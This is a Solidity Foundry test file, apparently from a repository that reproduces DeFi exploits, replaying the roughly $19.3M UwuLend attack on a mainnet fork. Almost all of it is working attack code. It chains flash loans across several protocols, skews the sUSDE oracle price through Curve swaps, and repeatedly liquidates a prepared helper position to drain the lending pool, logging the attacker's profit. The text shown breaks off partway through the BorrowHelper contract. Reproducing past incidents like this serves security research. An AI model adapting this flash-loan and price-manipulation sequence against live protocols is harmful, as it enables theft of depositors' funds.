-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
UwuLend_First_exp.sol
619 lines (537 loc) · 30.5 KB
/
UwuLend_First_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : ~$19.3M
// TX : https://app.blocksec.com/explorer/tx/eth/0x242a0fb4fde9de0dc2fd42e8db743cbc197ffa2bf6a036ba0bba303df296408b
// Attacker : https://etherscan.io/address/0x841ddf093f5188989fa1524e7b893de64b421f47
// Attack Contract : https://etherscan.io/address/0xf19d66e82ffe8e203b30df9e81359f8a201517ad
// Vulnerable Contract : https://etherscan.io/address/0x2409af0251dcb89ee3dee572629291f9b087c668
// GUY : https://x.com/peckshield/status/1800176089316163831
interface IcrvUSDController {
function create_loan(uint256 collateral_amount, uint256 debt_amount, uint256 N) external;
function repay(uint256 amount, address to, int256 max_fee, bool) external;
}
interface IAaveOracle {
function getAssetPrice(
address asset
) external view returns (uint256);
}
interface ISDAI is IERC20 {
function redeem(uint256 amount, address to, address owner) external returns (uint256);
}
contract UwuLend_First_exp is Test {
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IERC20 crvUSD = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);
IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
IERC20 sUSDE = IERC20(0x9D39A5DE30e57443BfF2A8307A4256c8797A3497);
IERC20 USDE = IERC20(0x4c9EDD5852cd905f086C759E8383e09bff1E68B3);
IERC20 GHO = IERC20(0x40D16FC0246aD3160Ccc09B8D0D3A2cD28aE6C2f);
IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 FRAX = IERC20(0x853d955aCEf822Db058eb8505911ED77F175b99e);
IcrvUSDController crvUSDController = IcrvUSDController(0xA920De414eA4Ab66b97dA1bFE9e6EcA7d4219635);
IcrvUSDController crvUSDWETHPool = IcrvUSDController(0x2409aF0251DCB89EE3Dee572629291f9B087c668);
ISDAI sDAI = ISDAI(0x83F20F44975D03b1b09e64809B757c47f942BEeA);
ICurvePool USDecrvUSDPool = ICurvePool(0xF55B0f6F2Da5ffDDb104b58a60F2862745960442);
ICurvePool USDeDAIPool = ICurvePool(0xF36a4BA50C603204c3FC6d2dA8b78A7b69CBC67d);
ICurvePool FRAXUSDePool = ICurvePool(0x5dc1BF6f1e983C0b21EfB003c105133736fA0743);
ICurvePool GHOUSDePool = ICurvePool(0x670a72e6D22b0956C0D2573288F82DCc5d6E3a61);
ICurvePool USDCUSDePool = ICurvePool(0x02950460E2b9529D0E00284A5fA2d7bDF3fA4d72);
ICurvePool MtEthena = ICurvePool(0x167478921b907422F8E88B43C4Af2B8BEa278d3A);
Uni_Pair_V3 DAI_FRAX_Pair = Uni_Pair_V3(0x97e7d56A0408570bA1a7852De36350f7713906ec);
Uni_Pair_V3 DAI_USDC_Pair = Uni_Pair_V3(0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168);
Uni_Pair_V3 USDC_WETH_Pair = Uni_Pair_V3(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);
Uni_Pair_V3 WBTC_WETH_Pair = Uni_Pair_V3(0x4585FE77225b41b697C938B018E2Ac67Ac5a20c0);
IAaveFlashloan aaveFlashloan_1 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
IAaveFlashloan aaveFlashloan_2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
IAaveFlashloan sparkPool = IAaveFlashloan(0xC13e21B648A5Ee794902342038FF3aDAB66BE987);
IMorphoBuleFlashLoan morphoBlueFlashLoan = IMorphoBuleFlashLoan(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);
IUniswapV3Flash FRAX_USDC_Pair = IUniswapV3Flash(0xc63B0708E2F7e69CB8A1df0e1389A98C35A76D52);
IBalancerVault BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IMakerDaoFlash makerDaoFlash = IMakerDaoFlash(0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA);
ILendingPool uwuLendPool = ILendingPool(0x2409aF0251DCB89EE3Dee572629291f9B087c668);
IAaveOracle uwuPriceOracle = IAaveOracle(0xAC4A2aC76D639E10f2C05a41274c1aF85B772598);
IERC20 uSUSDE = IERC20(0xf1293141fC6ab23b2a0143Acc196e3429e0B67A6);
IERC20 uWETH = IERC20(0x67fadbD9Bf8899d7C578db22D7af5e2E500E13e5);
IERC20 uWBTC = IERC20(0x6Ace5c946a3Abd8241f31f182c479e67A4d8Fc8d);
IERC20 uDAI = IERC20(0xb95BD0793bCC5524AF358ffaae3e38c3903C7626);
uint256 constant WETHMAXLTV = 8500; // 85%
uint256 constant LiquidationThreshold = 9000; // 90%
uint256 constant liquidationBonus = 11_000; // 110%
ToBeLiquidatedHelper toBeLiquidatedHelper;
BorrowHelper borrowHelper;
function setUp() public {
vm.createSelectFork("mainnet", 20_061_318);
vm.label(address(WETH), "WETH");
vm.label(address(DAI), "DAI");
vm.label(address(crvUSD), "crvUSD");
vm.label(address(WBTC), "WBTC");
vm.label(address(sUSDE), "sUSDE");
vm.label(address(USDE), "USDE");
vm.label(address(GHO), "GHO");
vm.label(address(USDC), "USDC");
vm.label(address(FRAX), "FRAX");
vm.label(address(crvUSDController), "crvUSDController");
vm.label(address(crvUSDWETHPool), "crvUSDWETHPool");
vm.label(address(USDecrvUSDPool), "USDecrvUSDPool");
vm.label(address(USDeDAIPool), "USDeDAIPool");
vm.label(address(FRAXUSDePool), "FRAXUSDePool");
vm.label(address(GHOUSDePool), "GHOUSDePool");
vm.label(address(USDCUSDePool), "USDCUSDePool");
vm.label(address(MtEthena), "MtEthena");
vm.label(address(aaveFlashloan_1), "aaveFlashloan_1");
vm.label(address(aaveFlashloan_2), "aaveFlashloan_2");
vm.label(address(sparkPool), "sparkPool");
vm.label(address(morphoBlueFlashLoan), "morphoBlueFlashLoan");
vm.label(address(FRAX_USDC_Pair), "FRAX_USDC_Pair");
vm.label(address(BalancerVault), "balancerVault");
vm.label(address(makerDaoFlash), "makerDaoFlash");
vm.label(address(uwuLendPool), "uwuLendPool");
vm.label(address(uwuPriceOracle), "uwuPriceOracle");
vm.label(address(uSUSDE), "uSUSDE");
vm.label(address(uWETH), "uWETH");
vm.label(address(uWBTC), "uWBTC");
vm.label(address(uDAI), "uDAI");
vm.label(address(DAI_FRAX_Pair), "DAI_FRAX_Pair");
vm.label(address(DAI_USDC_Pair), "DAI_USDC_Pair");
vm.label(address(USDC_WETH_Pair), "USDC_WETH_Pair");
vm.label(address(WBTC_WETH_Pair), "WBTC_WETH_Pair");
vm.label(address(sDAI), "sDAI");
}
function testExploit() public {
toBeLiquidatedHelper = new ToBeLiquidatedHelper();
vm.label(address(toBeLiquidatedHelper), "toBeLiquidatedHelper");
borrowHelper = new BorrowHelper();
vm.label(address(borrowHelper), "borrowHelper");
// 1. approve all
console.log("1. approveAll \n");
approveAll();
// 2. flashLoan
// 2.1 aave flashloan WETH and WBTC
// 2.2 sparkPool flashloan WETH and WBTC
// 2.3 morphoBlueFlashLoan flashloan sUSDE USDE DAI
// 2.4 FRAX_USDC_Pair flashloan USDC and FRAX
// 2.5 BalancerVault flashloan USDC
// 2.6 makerDaoFlash flashloan DAI
console.log("2. flashLoan");
flashLoan();
// 3. exploit logic in onFlashLoan
// 5. profit
emit log_named_decimal_uint("\n attacker profit", WETH.balanceOf(address(this)), WETH.decimals());
}
// exploit logic
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
DAI.approve(address(makerDaoFlash), type(uint256).max);
logFlashLoanAssets();
// 3. Make bad debt (during liquidation process) position by sUSDE price manipulation
console.log("\n 3. Make bad debt (during liquidation process) position by sUSDE price manipulation \n");
// 3.1 drive down sUSDE price
console.log("3.1 drive down sUSDE price");
uint256 sUSDE_price_before = uwuPriceOracle.getAssetPrice(address(sUSDE));
console.log("sUSDE price before", sUSDE_price_before);
driveDownsUSDEPrice();
uint256 sUSDE_price_after = uwuPriceOracle.getAssetPrice(address(sUSDE));
console.log("sUSDE price after", sUSDE_price_after);
emit log_named_decimal_uint(
"sUSDE price change ratio ", (sUSDE_price_before - sUSDE_price_after) * 1e8 / sUSDE_price_before, 8
);
// 3.2 deposit WBTC DAI sUSDE to uwuLendPool and set WBTC, DAI as collateral
uwuLendPool.deposit(address(WBTC), WBTC.balanceOf(address(this)), address(this), 0);
uwuLendPool.deposit(address(DAI), DAI.balanceOf(address(this)) - 30_000_000 ether, address(this), 0);
uwuLendPool.deposit(address(sUSDE), sUSDE.balanceOf(address(this)), address(this), 0);
uwuLendPool.setUserUseReserveAsCollateral(address(sUSDE), false);
// 3.3 transfer WETH to toBeLiquidatedHelper contract and create sUSDE debt position to max ltv
console.log("\n 3.3 transfer WETH to toBeLiquidatedHelper contract and create sUSDE debt position to max ltv");
console.log("-------------------------------helper contract open position -----------------------------------");
WETH.transfer(address(toBeLiquidatedHelper), WETH.balanceOf(address(this)));
toBeLiquidatedHelper.openPosition();
addETHCollateralToHelper();
toBeLiquidatedHelper.openPosition();
(
uint256 totalCollateral,
uint256 totalDebt,
uint256 availableBorrows,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
) = uwuLendPool.getUserAccountData(address(toBeLiquidatedHelper));
emit log_named_decimal_uint("to be liquidated position debt value", totalDebt, 8);
uint256 currentLTV = totalDebt * 1e4 / totalCollateral;
emit log_named_decimal_uint("current ltv", currentLTV, 4);
emit log_named_decimal_uint("maxLtv", WETHMAXLTV, 4);
emit log_named_decimal_uint("current healthFactor", healthFactor, 18);
// 3.4 liquidation threshold reached by withdraw collateral
console.log("\n 3.4 liquidation threshold reached by withdraw collateral");
toBeLiquidatedHelper.withdrawCollateralToLiquidationThreshold();
(totalCollateral, totalDebt,,,, healthFactor) = uwuLendPool.getUserAccountData(address(toBeLiquidatedHelper));
currentLTV = totalDebt * 1e4 / totalCollateral;
emit log_named_decimal_uint("current ltv", currentLTV, 4);
emit log_named_decimal_uint("maxLtv", WETHMAXLTV, 4);
emit log_named_decimal_uint("current healthFactor", healthFactor, 18);
console.log("------------------------helper contract was ready to be liquidated ------------------------------");
console.log("");
// 3.5 drive up sUSDE price
console.log("3.5 drive up sUSDE price");
uint256 sUSDE_price_before_driveUp = uwuPriceOracle.getAssetPrice(address(sUSDE));
console.log("sUSDE price before", sUSDE_price_before_driveUp);
driveUpsUSDEPrice();
uint256 sUSDE_price_after_driveUp = uwuPriceOracle.getAssetPrice(address(sUSDE));
console.log("sUSDE price after", sUSDE_price_after_driveUp);
emit log_named_decimal_uint(
"sUSDE price change ratio ",
(sUSDE_price_after_driveUp - sUSDE_price_before_driveUp) * 1e8 / sUSDE_price_before_driveUp,
8
);
// 4. liquidate helper contract to theft assets from protocol
console.log("\n 4. liquidate helper contract to theft assets from protocol");
(totalCollateral, totalDebt,,, ltv, healthFactor) =
uwuLendPool.getUserAccountData(address(toBeLiquidatedHelper));
emit log_named_decimal_uint("total collateral value", totalCollateral, 8);
emit log_named_decimal_uint("total debt value", totalDebt, 8);
currentLTV = totalDebt * 1e4 / totalCollateral;
emit log_named_decimal_uint("current ltv", currentLTV, 4);
emit log_named_decimal_uint("health factor", healthFactor, 18);
uint256 badDebtRatio = currentLTV * liquidationBonus / 1e4 - 1e4;
emit log_named_decimal_uint("bad debt ratio", badDebtRatio, 4);
// 4.1 repeat liquidate helper contract
console.log("\n 4.1 repeat liquidate helper contract");
uwuLendPool.liquidationCall(
address(WETH), address(sUSDE), address(toBeLiquidatedHelper), sUSDE.balanceOf(address(this)), true
);
while (uWETH.balanceOf(address(toBeLiquidatedHelper)) > 0) {
uwuLendPool.withdraw(address(sUSDE), sUSDE.balanceOf(address(uSUSDE)), address(this));
uwuLendPool.liquidationCall(
address(WETH), address(sUSDE), address(toBeLiquidatedHelper), sUSDE.balanceOf(address(this)), true
);
}
// 4.2 withdraw deposited collateral from uwuLendPool
console.log("\n 4.2 withdraw deposited collateral from uwuLendPool");
uwuLendPool.withdraw(address(WETH), WETH.balanceOf(address(uWETH)), address(this));
uwuLendPool.repay(address(WETH), type(uint256).max, 2, address(this));
uwuLendPool.withdraw(address(WETH), uWETH.balanceOf(address(this)), address(this));
uwuLendPool.withdraw(address(WBTC), uWBTC.balanceOf(address(this)), address(this));
uwuLendPool.withdraw(address(DAI), uDAI.balanceOf(address(this)), address(this));
uwuLendPool.withdraw(address(sUSDE), sUSDE.balanceOf(address(uSUSDE)), address(this));
emit log_named_decimal_uint(
"\n attacker stolen uSUSDE balance", uSUSDE.balanceOf(address(this)), uSUSDE.decimals()
);
uint256 stolenuSUSDEValue =
uSUSDE.balanceOf(address(this)) * uwuPriceOracle.getAssetPrice(address(sUSDE)) / 1e18;
emit log_named_decimal_uint("stolen uSUSDE value", stolenuSUSDEValue, 8);
uwuLendPool.deposit(address(sUSDE), 4_346_738_161_827_961_681_800_155, address(this), 0);
uSUSDE.transfer(address(borrowHelper), uSUSDE.balanceOf(address(this)));
// 4.3 Borrowing other assets with stolen sUSDE
console.log("\n 4.3 Borrowing other assets with stolen sUSDE");
borrowHelper.borrow();
// 4.4 swap assets to repay flashloan
console.log("\n 4.4 swap assets to repay flashloan");
// swap USDE to crvUSD
USDecrvUSDPool.exchange(0, 1, 4_207_072_750_824_992_858_620_994, 0, address(this));
// swap USDE to DAI
USDeDAIPool.exchange(0, 1, 10_922_948_419_648_084_328_018_472, 0, address(this));
// swap USDE to FRAX
FRAXUSDePool.exchange(1, 0, 22_726_036_777_489_049_150_148_818, 0, address(this));
// swap USDE to GHO
GHOUSDePool.exchange(1, 0, 3_839_532_488_615_605_211_975_616, 0, address(this));
// swap USDE to USDC
USDCUSDePool.exchange(0, 1, 13_004_083_286_363_350_285_706_546, 0, address(this));
// repay crvUSD loan
crvUSDController.repay(8_000_000 ether, address(this), type(int256).max, false);
// swap GHO to USDE
GHOUSDePool.exchange(0, 1, 6_514_807_919_582_140_746_012, 0, address(this));
// swap sUSDE to sDAI
sUSDE.approve(address(MtEthena), type(uint256).max);
MtEthena.exchange(1, 0, 461_496_017_260_554_794_537_319, 0, address(this));
sDAI.redeem(sDAI.balanceOf(address(this)), address(this), address(this));
// swap crvUSD to USDE
USDecrvUSDPool.exchange(1, 0, 13_674_859_859_068_798_018_828, 0, address(this));
// swap USDC to USDE
USDCUSDePool.exchange(1, 0, 192_649_121_137, 0, address(this));
// swap USDE to USDC
USDCUSDePool.exchange(0, 1, 5_476_157_462_097_941_699_706, 0, address(this));
// swap FRAX to DAI
DAI_FRAX_Pair.swap(
address(this), false, 43_839_520_259_800_487_407_899, 88_130_155_430_238_081_648_620_165_685, ""
);
// swap DAI to USDC
int256 swapAmount = int256(
DAI.balanceOf(address(this)) - (100_786_052_157_846_064_524_359_193 + 500_000_000_000_000_000_000_000_000)
);
DAI_USDC_Pair.swap(address(this), true, swapAmount, 71_305_012_436_624_238_479_427, "");
// swap USDC to WETH
swapAmount = int256(USDC.balanceOf(address(this)) - 15_007_500_000_000);
USDC_WETH_Pair.swap(address(this), true, swapAmount, 1_176_655_315_611_429_354_240_742_931_620_633, "");
// swap WETH to WBTC
WBTC_WETH_Pair.swap(address(this), false, -740_000_000, 38_270_603_846_108_809_178_175_541_220_721_878, "");
bytes32 CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
return CALLBACK_SUCCESS;
}
function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
if (msg.sender == address(DAI_FRAX_Pair)) {
FRAX.transfer(msg.sender, uint256(amount1Delta));
} else if (msg.sender == address(DAI_USDC_Pair)) {
DAI.transfer(msg.sender, uint256(amount0Delta));
} else if (msg.sender == address(USDC_WETH_Pair)) {
USDC.transfer(msg.sender, uint256(amount0Delta));
} else if (msg.sender == address(WBTC_WETH_Pair)) {
WETH.transfer(msg.sender, uint256(amount1Delta));
}
}
function depositsUSDEBackToUWULendPool() external {
uwuLendPool.deposit(address(sUSDE), sUSDE.balanceOf(address(this)), address(this), 0);
}
function addETHCollateralToHelper() internal {
uwuLendPool.borrow(address(WETH), WETH.balanceOf(address(uWETH)), 2, 0, address(this));
WETH.transfer(address(toBeLiquidatedHelper), WETH.balanceOf(address(this)));
}
function flashLoan() internal {
console.log("");
console.log("2.1 aave flashloan WETH and WBTC");
address[] memory assets_1 = new address[](2);
assets_1[0] = address(WETH);
assets_1[1] = address(WBTC);
uint256[] memory amounts_1 = new uint256[](2);
amounts_1[0] = 159_053_162_780_836_655_603_083;
amounts_1[1] = 1_480_000_000_000;
uint256[] memory modes_1 = new uint256[](2);
modes_1[0] = 0;
modes_1[1] = 0;
aaveFlashloan_1.flashLoan(address(this), assets_1, amounts_1, modes_1, address(0), "", 0);
}
function driveDownsUSDEPrice() internal {
// mint crvUSD
crvUSDController.create_loan(10_000 ether, 8_000_000 ether, 6);
// swap USDE to crvUSD
USDecrvUSDPool.exchange(0, 1, 8_730_453_498_050_216_501_648_556, 0, address(this));
// swap USDE to DAI
USDeDAIPool.exchange(0, 1, 14_477_791_691_163_726_567_797_192, 0, address(this));
// swap USDE to FRAX
FRAXUSDePool.exchange(1, 0, 46_652_158_056_743_271_680_044_538, 0, address(this));
// swap USDE to GHO
GHOUSDePool.exchange(1, 0, 4_925_427_200_616_322_077_942_681, 0, address(this));
// swap USDE to USDC
USDCUSDePool.exchange(0, 1, 14_886_912_832_938_992_141_787_347, 0, address(this));
}
function driveUpsUSDEPrice() internal {
// swap crvUSD to USDE
USDecrvUSDPool.exchange(1, 0, 12_924_955_610_043_587_089_395_372, 0, address(this));
// swap DAI to USDE
USDeDAIPool.exchange(1, 0, 25_373_741_448_450_577_167_233_296, 0, address(this));
// swap FRAX to USDE
FRAXUSDePool.exchange(0, 1, 69_315_752_743_500_180_119_051_361, 0, address(this));
// swap GHO to USDE
GHOUSDePool.exchange(0, 1, 8_765_879_316_233_443_559_385_780, 0, address(this));
// swap USDC to USDE
USDCUSDePool.exchange(1, 0, 27_858_597_561_515, 0, address(this));
}
// aaveFlashloan_1 callback
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external payable returns (bool) {
if (msg.sender == address(aaveFlashloan_1)) {
WETH.approve(address(msg.sender), type(uint256).max);
WBTC.approve(address(msg.sender), type(uint256).max);
// aaveV2 flashloan WETH
address[] memory assets_2 = new address[](1);
assets_2[0] = address(WETH);
uint256[] memory amounts_2 = new uint256[](1);
amounts_2[0] = 40_000_000_000_000_000_000_000;
uint256[] memory modes_2 = new uint256[](1);
modes_2[0] = 0;
aaveFlashloan_2.flashLoan(address(this), assets_2, amounts_2, modes_2, address(0), "", 0);
return true;
} else if (msg.sender == address(aaveFlashloan_2)) {
WETH.approve(address(msg.sender), type(uint256).max);
// 2.2 sparkPool flashloan WETH and WBTC
console.log("2.2 sparkPool flashloan WETH and WBTC");
address[] memory assets_3 = new address[](2);
assets_3[0] = address(WETH);
assets_3[1] = address(WBTC);
uint256[] memory amounts_3 = new uint256[](2);
amounts_3[0] = 91_075_709_275_272_202_604_853;
amounts_3[1] = 497_979_338_310;
uint256[] memory modes_3 = new uint256[](2);
modes_3[0] = 0;
modes_3[1] = 0;
sparkPool.flashLoan(address(this), assets_3, amounts_3, modes_3, address(0), "", 0);
return true;
} else if (msg.sender == address(sparkPool)) {
WETH.approve(address(msg.sender), type(uint256).max);
WBTC.approve(address(msg.sender), type(uint256).max);
// 2.3 morphoBlueFlashLoan flashloan sUSDE USDE DAI
console.log("2.3 morphoBlueFlashLoan flashloan sUSDE USDE DAI");
morphoBlueFlashLoan.flashLoan(address(sUSDE), 301_738_880_017_013_808_137_779_682, "");
return true;
}
}
function onMorphoFlashLoan(uint256 amounts, bytes calldata) external {
if (amounts == 301_738_880_017_013_808_137_779_682) {
sUSDE.approve(address(morphoBlueFlashLoan), type(uint256).max);
morphoBlueFlashLoan.flashLoan(address(USDE), 236_934_023_171_356_495_803_977_358, "");
} else if (amounts == 236_934_023_171_356_495_803_977_358) {
USDE.approve(address(morphoBlueFlashLoan), type(uint256).max);
morphoBlueFlashLoan.flashLoan(address(DAI), 100_786_052_157_846_064_524_359_193, "");
} else if (amounts == 100_786_052_157_846_064_524_359_193) {
DAI.approve(address(morphoBlueFlashLoan), type(uint256).max);
// 2.4 FRAX_USDC_Pair flashloan USDC and FRAX
console.log("2.4 FRAX_USDC_Pair flashloan USDC and FRAX");
FRAX_USDC_Pair.flash(address(this), 60_000_000_000_000_000_000_000_000, 15_000_000_000_000, "");
}
}
function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
// 2.5 BalancerVault flashloan USDC
console.log("2.5 BalancerVault flashloan USDC");
address[] memory tokens = new address[](2);
tokens[0] = address(GHO);
tokens[1] = address(WETH);
uint256[] memory amounts = new uint256[](2);
amounts[0] = 4_627_557_475_392_554_171_233_727;
amounts[1] = 38_413_346_774_514_588_021_409;
BalancerVault.flashLoan(address(this), tokens, amounts, "");
FRAX.transfer(address(msg.sender), 60_030_000_000_000_000_000_000_000);
USDC.transfer(address(msg.sender), 15_007_500_000_000);
}
function receiveFlashLoan(
address[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
// 2.6 makerDaoFlash flashloan DAI
console.log("2.6 makerDaoFlash flashloan DAI \n");
makerDaoFlash.flashLoan(address(this), address(DAI), 500_000_000_000_000_000_000_000_000, "");
GHO.transfer(address(msg.sender), 4_627_557_475_392_554_171_233_727);
WETH.transfer(address(msg.sender), 38_413_346_774_514_588_021_409);
}
function logFlashLoanAssets() internal {
emit log_named_decimal_uint(
"Attacker WETH balance after flashloan", WETH.balanceOf(address(this)), WETH.decimals()
);
emit log_named_decimal_uint(
"Attacker WBTC balance after flashloan", WBTC.balanceOf(address(this)), WBTC.decimals()
);
emit log_named_decimal_uint(
"Attacker sUSDE balance after flashloan", sUSDE.balanceOf(address(this)), sUSDE.decimals()
);
emit log_named_decimal_uint(
"Attacker USDE balance after flashloan", USDE.balanceOf(address(this)), USDE.decimals()
);
emit log_named_decimal_uint(
"Attacker DAI balance after flashloan", DAI.balanceOf(address(this)), DAI.decimals()
);
emit log_named_decimal_uint(
"Attacker FRAX balance after flashloan", FRAX.balanceOf(address(this)), FRAX.decimals()
);
emit log_named_decimal_uint(
"Attacker USDC balance after flashloan", USDC.balanceOf(address(this)), USDC.decimals()
);
emit log_named_decimal_uint(
"Attacker GHO balance after flashloan", GHO.balanceOf(address(this)), GHO.decimals()
);
uint256 flashloan_value = WETH.balanceOf(address(this)) * 3500 + WBTC.balanceOf(address(this)) * 65_000 * 1e10
+ sUSDE.balanceOf(address(this)) + USDE.balanceOf(address(this)) + DAI.balanceOf(address(this))
+ FRAX.balanceOf(address(this)) + USDC.balanceOf(address(this)) * 1e12 + GHO.balanceOf(address(this));
emit log_named_decimal_uint("Attacker flashloan USD value", flashloan_value, 18);
}
function approveAll() internal {
WETH.approve(address(uwuLendPool), type(uint256).max);
DAI.approve(address(uwuLendPool), type(uint256).max);
WBTC.approve(address(uwuLendPool), type(uint256).max);
sUSDE.approve(address(uwuLendPool), type(uint256).max);
crvUSD.approve(address(crvUSDController), type(uint256).max);
WETH.approve(address(crvUSDController), type(uint256).max);
WETH.approve(address(crvUSDWETHPool), type(uint256).max);
crvUSD.approve(address(USDecrvUSDPool), type(uint256).max);
USDE.approve(address(USDecrvUSDPool), type(uint256).max);
FRAX.approve(address(FRAXUSDePool), type(uint256).max);
USDE.approve(address(FRAXUSDePool), type(uint256).max);
GHO.approve(address(GHOUSDePool), type(uint256).max);
USDE.approve(address(GHOUSDePool), type(uint256).max);
USDC.approve(address(USDCUSDePool), type(uint256).max);
USDE.approve(address(USDCUSDePool), type(uint256).max);
DAI.approve(address(USDeDAIPool), type(uint256).max);
USDE.approve(address(USDeDAIPool), type(uint256).max);
}
}
contract ToBeLiquidatedHelper {
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 sUSDE = IERC20(0x9D39A5DE30e57443BfF2A8307A4256c8797A3497);
ILendingPool uwuLendPool = ILendingPool(0x2409aF0251DCB89EE3Dee572629291f9B087c668);
address uSUSDE = 0xf1293141fC6ab23b2a0143Acc196e3429e0B67A6;
IAaveOracle uwuPriceOracle = IAaveOracle(0xAC4A2aC76D639E10f2C05a41274c1aF85B772598);
function openPosition() external {
WETH.approve(address(uwuLendPool), type(uint256).max);
uwuLendPool.deposit(address(WETH), WETH.balanceOf(address(this)), address(this), 0);
uint256 sUSDE_price = uwuPriceOracle.getAssetPrice(address(sUSDE));
(,, uint256 availableBorrows,,,) = uwuLendPool.getUserAccountData(address(this));
while (availableBorrows >= sUSDE.balanceOf(address(uSUSDE)) * sUSDE_price / 10 ** sUSDE.decimals()) {
uwuLendPool.borrow(address(sUSDE), sUSDE.balanceOf(address(uSUSDE)), 2, 0, address(this));
sUSDE.transfer(address(msg.sender), sUSDE.balanceOf(address(this)));
(bool success,) =
address(msg.sender).call(abi.encodeWithSelector(bytes4(keccak256("depositsUSDEBackToUWULendPool()"))));
require(success, "depositsUSDEBackToUWULendPool failed");
(,, availableBorrows,,,) = uwuLendPool.getUserAccountData(address(this));
}
uint256 lastAmount = availableBorrows * 10 ** sUSDE.decimals() / sUSDE_price;
uwuLendPool.borrow(address(sUSDE), lastAmount, 2, 0, address(this));
sUSDE.transfer(address(msg.sender), sUSDE.balanceOf(address(this)));
}
function withdrawCollateralToLiquidationThreshold() external {
uint256 sUSDE_price = uwuPriceOracle.getAssetPrice(address(sUSDE));
uint256 WETH_price = uwuPriceOracle.getAssetPrice(address(WETH));
(
uint256 totalCollateral,
uint256 totalDebt,
uint256 availableBorrows,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
) = uwuLendPool.getUserAccountData(address(this));
uint256 maxWithdraw = totalCollateral - (totalDebt * 10_000 / currentLiquidationThreshold);
maxWithdraw = maxWithdraw * 10 ** WETH.decimals() / WETH_price;
uwuLendPool.withdraw(address(WETH), maxWithdraw, address(this));
WETH.transfer(address(msg.sender), WETH.balanceOf(address(this)));
}
}
contract BorrowHelper {
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 uWETH = IERC20(0x67fadbD9Bf8899d7C578db22D7af5e2E500E13e5);
IERC20 sUSDE = IERC20(0x9D39A5DE30e57443BfF2A8307A4256c8797A3497);
ILendingPool uwuLendPool = ILendingPool(0x2409aF0251DCB89EE3Dee572629291f9B087c668);
IERC20 uSUSDE = IERC20(0xf1293141fC6ab23b2a0143Acc196e3429e0B67A6);
IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
